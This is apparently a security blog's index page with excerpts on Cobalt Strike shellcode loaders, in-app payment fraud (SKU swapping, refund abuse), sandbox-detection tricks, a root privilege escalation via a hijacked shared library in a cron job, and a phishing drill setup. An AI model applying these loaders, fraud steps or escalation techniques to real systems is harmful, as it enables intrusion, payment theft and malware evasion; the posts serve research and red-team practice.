wubba lubba dub dub.
post @ 2023-05-26

背景

起源于一个问题:CS怎么用ReBeacon打包成的EXE/DLL?

  • stageless 表示把所有功能全部打包到一个文件里面
  • staged 小片段的shellcode拉一个beacon.dll(小马拉大马),其中ReBeacon就是beacon.dll的实现

Staged Shellcode工作流程

第一阶段

很常规的生成一个shellcode,写一个简单的程序加载然后调试:

方式1

#include<stdio.h>
#include<Windows.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "";
int main() {
    __asm {
        mov ecx, offset buf
        jmp ecx
    }
}

方式2

#include<stdio.h>  
#include<Windows.h>  
int main() {  
	unsigned char buf[] = "shellcode";  
	LPVOID address = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);  
	memcpy(address, buf, sizeof(buf));  
	((void(*)())address)();  
	return 0;  
}
Read More
post @ 2023-05-10

0x1. 低价值替换高价值SKU

在IOS平台上面支付完成之后,立刻杀掉进程,然后重新开启APP抓包,此时触发补单操作,拦截包之后,修改sku字段为高价值商品,尝试是否可以成功。

或者在Burp抓支付包的时候,因为apple服务接口验证了证书,可以在burp的TLS Pass Through配置绕过apple的域名,不对其进行抓包。

0x2. 替换订单号

首先产生一个未支付的高价值的订单号,其次正常购买低价值商品,打断后端返回的response,替换response里面的订单号为高价值订单号,然后尝试支付成功之后商品的数量。一般适用于Google支付。

0x3. 利用Google机制自动退款

Google的SDK支付成功之后,客户端会发起一个接口请求: https://play-fe.googleapis.com/fdfe/consumePurchase

Google Play结算服务官方文档中关于处理购买交易的描述:在三天内未确认购买交易,则用户会自动收到退款,并且Google Play会撤消该购买交易,可以利用此规则进行退款。这种攻击一般针对一次性消耗品,当然重复的也可以。在支付完成之后,拦截上面的请求之后丢弃,如果服务端未做正确处理,则三天之后Google会自动退款。

修复方式:后端手动调用确认接口进行二次确认acknowledge,一般400可以视为已确认,409的时候需要查询一次状态,已确认状态可以放行,否则掉单处理。

0x4. IOS跨应用票据伪造

Read More
post @ 2023-04-23

目的

收集沙盒的环境

看图说话

从上面的图就能看出来很多特征:

  • 比如中国的时区是-8,沙盒多不是,当然某步除外
  • 第三条是某步的沙盒,进程里面存在AcrylicService.exe,实际使用的时候可以做一次for循环hash判断,避免程序中直接出现关键词
  • 大部分沙盒会重新二次修改为随机文件名,也可以从这个点下手
  • 内存一般小于4G
  • 部分虚拟机存在Cucoo的特征,比如某步,具体可以看CheckPointSW/InviZzzible
  • 也可以用主机名作为判断条件

参考链接

Read More

AnalyticDB for PostgreSQL

容器提权

首先发现了一个ROOT定时任务,该定时任务每分钟执行一次二进制文件/usr/bin/tsar:

$: ls -lah /etc/cron.d/tsar 
-rw-r--r-- 1 root root 99 Apr 192021 /etc/cron.d/tsar 

$: cat /etc/cron.d/tsar 

# cron tsar collect once per minute 
MAILTO="" 
* * * * * root /usr/bin/tsar --cron > /dev/null 2>&1

使用ldd发现从自定义路径加载共享库,其中的一个路径/u01对于当前用户adbpgadmin是可写的。

$: ls -alh /u01/adbpg/lib/libgcc_s.so.1 
-rwxr-xr-x 1 adbpgadmin adbpgadmin 102K Oct 27 12:22 /u01/adbpg/lib/libgcc_s.so.1 

如果用自己的共享库覆盖这个文件,那么下次就会以root权限执行自定义的代码,攻击流程:

  • 编译一个共享库,功能是将/bin/bash复制到/bin/dash,并添加SUID权限。
  • 把编译好的共享库使用PatchELF,添加到libgcc_s.so.1,这样当libgcc_s.so.1被加载的时候,恶意代码会被执行。
  • 覆盖libgcc_s.so.1
  • 等待定时任务执行

最终获取Root权限:

Read More

背景

一年一度的钓鱼节,需要针对公司员工做一次钓鱼演练,前期准备工作如下:

  • 确定钓鱼的页面:图方便选了一个登录入口,用Chrome插件SingleFile右键一键保存
  • 确定钓鱼的形式:引导用户输入公司邮箱,点击完成之后,弹出需要安装插件,根据UA决定是下载pkg还是exe。
  • 确定钓鱼的效果:从三个数据维度来看最终效果
    • 钓鱼页面访问次数
    • 输入公司邮箱的数量统计
    • 收集运行了Exe和Pkg的用户

钓鱼邮件的发送

有两种形式可以发送钓鱼邮件:

  1. 使用相近域名
  2. 使用sendcloud

相近域名发送

注册相近域名之后,可以根据这里的步骤绑定使用zoho的免费企业邮箱: 2021年四款国内外免费企业邮箱及申请教程图解

使用SendCloud

注册SendCloud之后,生成API Key,利用以下代码发送钓鱼邮件:

Read More
⬆︎TOP